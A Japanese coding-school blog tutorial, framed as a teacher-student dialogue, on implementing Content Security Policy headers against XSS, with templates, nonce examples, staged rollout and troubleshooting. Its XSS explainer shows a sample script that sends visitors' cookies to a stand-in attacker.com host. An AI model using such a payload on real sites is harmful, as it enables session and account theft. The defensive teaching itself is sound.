



WithCodeMedia-1-pc
WithCodeMedia-2-pc
WithCodeMedia-3-pc
WithCodeMedia-4-pc




WithCodeMedia-1-sp
WithCodeMedia-2-sp
WithCodeMedia-3-sp
WithCodeMedia-4-sp









生徒最近、XSS攻撃からWebサイトを守る方法を調べていたら「CSP」というセキュリティ機能を見つけたんですけど、どうやって実装すれば良いんですか?



よーく聞くんだぞ!CSP(Content Security Policy)は、XSS攻撃を防ぐ非常に強力なセキュリティ機能じゃ。今日は基本的な仕組みから実践的な実装方法まで、詳しく解説するぞい!



ありがとうございます!よろしくお願いいたします!
Webサイトのセキュリティは、開発者にとって最も重要な課題の一つです。特にXSS(Cross-Site Scripting)攻撃は、個人情報の漏洩やアカウント乗っ取りなど、深刻な被害をもたらす可能性があります。
本記事では、Content Security Policy (CSP)の実装方法について、基本的な仕組みから各ディレクティブの詳細、実践的なテンプレート集、段階的な導入方法、よくある問題の解決方法まで、実装例を交えながら詳しく解説します。
「学習→案件獲得」につなげた受講生のリアルな体験談も公開中!
働き方を変えたい方にも響くストーリーです。
菅井さん
将来的への不安と子育てという背景から「副業」に挑戦しようと決意。独学からプログラミングの学習を開始していたが、WithCodeに出会い体験コースを受講。約4ヶ月の学習に取り組み、当初の目標であった卒業テスト合格を実現した。WithCode Platinumにて3件の案件を担当し、現在は副業だけでなく本格的に「フリーランス」として在宅で活躍していきたいと考えるようになる。
詳しくはこちらの記事をご覧ください。


菅井さんの主な制作実績はこちら


Content Security Policy (CSP)は、Webサイトで読み込むリソース(JavaScript、CSS、画像など)の取得元を制限するセキュリティ機能です。HTTPヘッダーまたはHTMLの<meta>タグで設定します。
CSPは主に以下のセキュリティ脅威から保護します:
CSPは、ホワイトリスト方式でリソースの読み込みを制御します:
例えば、「自サイトとCDNのJavaScriptのみ許可」と設定すると、攻撃者が埋め込んだ外部スクリプトは実行されません。
CSPは2つの方法で設定できます:
方法1: HTTPヘッダー(推奨)
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com方法2: HTMLのmetaタグ
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://cdn.example.com">HTTPヘッダーが推奨される理由:





CSPの重要性を理解するために、まずはXSS攻撃の危険性を見ていこう!ここを知っておかないと大変な目に遭いやすくなるからのう。



そうなんですね!よろしくお願いします!
攻撃者が掲示板にこのようなコメントを投稿したとします:
<script>
// ユーザーのCookieを攻撃者のサーバーに送信
fetch('https://attacker.com/steal?data=' + document.cookie);
</script>サニタイズ(無害化処理)が不十分な場合、このスクリプトがそのまま実行され、訪問者のCookieが盗まれます。
XSS攻撃で可能なこと:
CSPを適切に設定すると、以下のように防御できます:
Content-Security-Policy: default-src 'self'; script-src 'self'このポリシーの効果:
<script>タグ内のコードは実行されないhttps://attacker.comからのスクリプトは読み込まれない攻撃者が悪意のあるスクリプトを埋め込んでも、ブラウザが実行を拒否するため、被害を防げます。
サニタイズ(エスケープ処理):
CSP(多層防御):
CSPはサニタイズの代替ではなく、追加の防御層として機能します。両方を実装することで、セキュリティを大幅に強化できます。





CSPは、複数の「ディレクティブ」を組み合わせて設定する。各ディレクティブは特定の種類のリソースを制御するぞ!



色々なディレクティブがあるんですね!勉強になります!
| ディレクティブ | 制御対象 | 説明 |
|---|---|---|
| default-src | すべてのリソース | 他のディレクティブのデフォルト値 |
| script-src | JavaScript | スクリプトの読み込み元を制限 |
| style-src | CSS | スタイルシートの読み込み元を制限 |
| img-src | 画像 | 画像の読み込み元を制限 |
| font-src | フォント | Webフォントの読み込み元を制限 |
| connect-src | 通信 | fetch、XHR、WebSocketの接続先を制限 |
| media-src | メディア | 音声・動画の読み込み元を制限 |
| object-src | プラグイン | <object>、<embed>の読み込み元を制限 |
| frame-src | iframe | iframeで読み込むページを制限 |
| base-uri | <base>タグ | <base>要素のURLを制限 |
| form-action | フォーム送信 | フォームの送信先を制限 |
各ディレクティブには、許可する取得元(ソース)を指定します:
| ソース値 | 意味 | 例 |
|---|---|---|
| ‘self’ | 自サイト(同一オリジン) | https://example.com |
| ‘none’ | すべて拒否 | – |
| ‘unsafe-inline’ | インラインコードを許可 | <script>…</script> |
| ‘unsafe-eval’ | eval()を許可 | eval(‘code’) |
| ドメイン | 特定ドメインを許可 | https://cdn.example.com |
| ワイルドカード | サブドメイン全体を許可 | https://*.example.com |
| スキーム | 特定のプロトコルを許可 | https:、data: |
| nonce- | 特定のスクリプト/スタイルを許可 | nonce-abc123 |
| hash- | ハッシュ値が一致するコードを許可 | sha256-abc… |
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';この設定の意味:





CSPの実践的な方法を知りたいです!



良い心がけじゃ!ここでは、用途別の実践的なCSPテンプレートを紹介するぞ。プロジェクトに応じて選択・カスタマイズするのじゃ!
外部リソースを一切使用しない、完全に静的なWebサイト向け:
Content-Security-Policy:
default-src 'none';
script-src 'self';
style-src 'self';
img-src 'self';
font-src 'self';
connect-src 'none';
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';特徴:
Google Fonts、CDNからのJavaScriptライブラリを使用する場合:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com;
style-src 'self' https://fonts.googleapis.com;
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self';
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;特徴:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://www.google-analytics.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://www.google-analytics.com https://www.googletagmanager.com;
font-src 'self';
connect-src 'self' https://www.google-analytics.com https://analytics.google.com;
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';注意点:
・Google Tag Managerは動的にスクリプトを読み込むため、’unsafe-eval’が必要な場合がある
・より厳格にするには、nonceを使用してインラインスクリプトを個別許可
SPAフレームワークを使用する場合:
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data: blob: https:;
font-src 'self' data:;
connect-src 'self' https://api.example.com;
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
worker-src 'self' blob:;特徴:
インラインスクリプトを使用しつつ、最高レベルのセキュリティを実現:
サーバー側(Node.js/Express):
const crypto = require('crypto');
app.use((req, res, next) => {
// リクエストごとにランダムなnonceを生成
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader(
'Content-Security-Policy',
`default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'nonce-${nonce}'; object-src 'none';`
);
next();
});HTML:
<!-- nonceを指定してインラインスクリプトを許可 -->
<script nonce="<%= nonce %>">
console.log('このスクリプトは実行されます');
</script>
<!-- nonceがないスクリプトはブロックされる -->
<script>
console.log('このスクリプトはブロックされます');
</script>nonceの利点:





CSPの設定、いろいろな種類があって複雑ですね…実際にどこから始めれば良いでしょうか?



まずはReport-Onlyモードで様子を見るのがおすすめじゃ!いきなり厳格な設定にすると、サイトが動かなくなる可能性があるからのう。段階的に進めることが成功の秘訣じゃぞ!
Content-Security-Policy-Report-Onlyヘッダーを使用すると、ポリシー違反をブロックせず、レポートのみ送信します。
Content-Security-Policy-Report-Only:
default-src 'self';
script-src 'self';
report-uri https://example.com/csp-report;レポートエンドポイントの実装(Node.js/Express):
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP Violation:', JSON.stringify(req.body, null, 2));
// レポートをログファイルやデータベースに保存
// または外部サービス(Sentry、Report URIなど)に送信
res.status(204).end();
});レポートの内容例:
{
"csp-report": {
"document-uri": "https://example.com/page",
"violated-directive": "script-src 'self'",
"blocked-uri": "https://evil.com/malicious.js",
"line-number": 42,
"column-number": 5,
"source-file": "https://example.com/page"
}
}フェーズ1の手順:
Report-Onlyモードでの調査が完了したら、緩めのポリシーから本番適用します:
Content-Security-Policy:
default-src 'self' 'unsafe-inline' 'unsafe-eval' https:;
img-src * data:;
report-uri https://example.com/csp-report;この段階では:
安定稼働を確認したら、徐々にポリシーを厳格化します:
ステップ1: HTTPSを必須に
default-src 'self' 'unsafe-inline' 'unsafe-eval'; /* https: を削除 */ステップ2: eval()を禁止
default-src 'self' 'unsafe-inline'; /* 'unsafe-eval' を削除 */ステップ3: インラインスクリプトを禁止(nonceまたはhashを使用)
default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'nonce-{random}';各ステップで1-2週間運用し、問題がないことを確認してから次に進みます。
最終的に、必要最小限の許可のみを含むポリシーを適用:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}' https://cdn.example.com;
style-src 'self' 'nonce-{random}';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
block-all-mixed-content;




次は、サーバー環境別のCSP設定方法を紹介するからよーく聞くんじゃぞ!



分かりました!よろしくお願いします!
<IfModule mod_headers.c>
Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self'; frame-src 'none'; object-src 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests;"
</IfModule>server {
# その他の設定...
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self'; frame-src 'none'; object-src 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests;" always;
}const express = require('express');
const helmet = require('helmet');
const app = express();
// helmetを使用した設定(推奨)
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.example.com"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
connectSrc: ["'self'"],
frameSrc: ["'none'"],
objectSrc: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: [],
},
})
);
// 手動設定の場合
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' https://cdn.example.com; ..."
);
next();
});// next.config.js
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'Content-Security-Policy',
value: "default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-src 'none'; object-src 'none';"
}
]
}
]
}
}




CSPを実装するにあたってトラブルシューティングのことも知りたいです!



うむ。ここでは、主なトラブルシューティングを5つ紹介するぞい!
症状:CSP導入後、アクセス解析が取得できなくなった。
原因:Google関連のドメインが許可されていない。
解決策:
Content-Security-Policy:
script-src 'self' https://www.googletagmanager.com https://
www.google-analytics.com;
img-src 'self' https://www.google-analytics.com https://
www.googletagmanager.com;
connect-src 'self' https://www.google-analytics.com https://
analytics.google.com;症状:<script>タグ内のJavaScriptが実行されない。
原因:‘unsafe-inline’が設定されていない。
解決策(選択肢):
方法1: nonceを使用(推奨)
<!-- サーバー側でランダムなnonceを生成 -->
<script nonce="abc123">
console.log('許可されたスクリプト');
</script>方法2: 外部ファイル化
<!-- インラインスクリプトを外部ファイルに移動 -->
<script src="/js/app.js"></script>方法3: ‘unsafe-inline’を許可(非推奨)
script-src 'self' 'unsafe-inline';症状:インラインスタイルやstyle属性が無効化される。
解決策:
style-src 'self' 'unsafe-inline';または、nonceを使用:
<style nonce="abc123">
.custom { color: red; }
</style>症状:YouTubeの埋め込み動画などが表示されない。
解決策:
frame-src 'self' https://www.youtube.com https://player.vimeo.com;解決策:
font-src 'self' https://fonts.gstatic.com
https://cdnjs.cloudflare.com;
style-src 'self' https://fonts.googleapis.com
https://cdnjs.cloudflare.com;

CSP違反はChromeのConsoleタブに表示されます:
違反メッセージの例:
Refused to load the script 'https://evil.com/malicious.js' because it violates the following Content Security Policy directive: "script-src 'self'".確認手順:
1. CSP Evaluator (Google)
https://csp-evaluator.withgoogle.com/
2. Report URI
https://report-uri.com/
3. Security Headers
https://securityheaders.com/



CSP、思ってたよりちゃんと設計するものなんですね!



うむ。CSPを理解できれば、
安全なWebサイトを設計できるエンジニアに一歩近づくぞ!



まずはReport-Onlyから試してみます!ありがとうございました!
本記事では、Content Security Policy (CSP)の実装方法について、基礎から実践まで詳しく解説しました。
重要なポイントは以下の通りです。
・CSPの役割:XSS攻撃やインジェクション攻撃からWebサイトを保護するセキュリティ機能
・ホワイトリスト方式:許可するリソースの取得元を明示的に指定
・主要ディレクティブ:default-src、script-src、style-src、img-srcなどで細かく制御
・実践的テンプレート:用途別(静的サイト、CDN使用、SPA、nonce)の設定例を提供
・段階的導入:Report-Onlyモード→緩いポリシー→段階的厳格化→最終ポリシー
・トラブルシューティング:Google Analytics、インラインスクリプト、iframe、フォントなどの対処法
・テストツール:Chrome DevTools、CSP Evaluator、Report URIで継続的な監視
CSPは、Webサイトのセキュリティを大幅に向上させる強力なツールです。適切に実装することで、XSS攻撃などの深刻な脅威から、ユーザーとWebサイトを守ることができます。
まずはReport-Onlyモードで現状を把握し、段階的にポリシーを厳格化していくことをおすすめします。実装後も継続的にレポートを監視し、新しい脅威や要件に応じてポリシーを更新していきましょう。


本記事でご紹介したContent Security Policyの実装技術は、Web制作の実務で非常に重要なセキュリティスキルです。WithCodeでは、こうした最新技術を含む実践的なWeb制作スキルを学べる環境を提供しています。
副業・フリーランスが主流になっている今こそ、自らのスキルで稼げる人材を目指してみませんか?
未経験でも心配することはありません。初級コースを受講される方の大多数はプログラミング未経験です。まずは無料カウンセリングで、悩みや不安をお聞かせください!
公式サイト より
今すぐ
無料カウンセリング
を予約!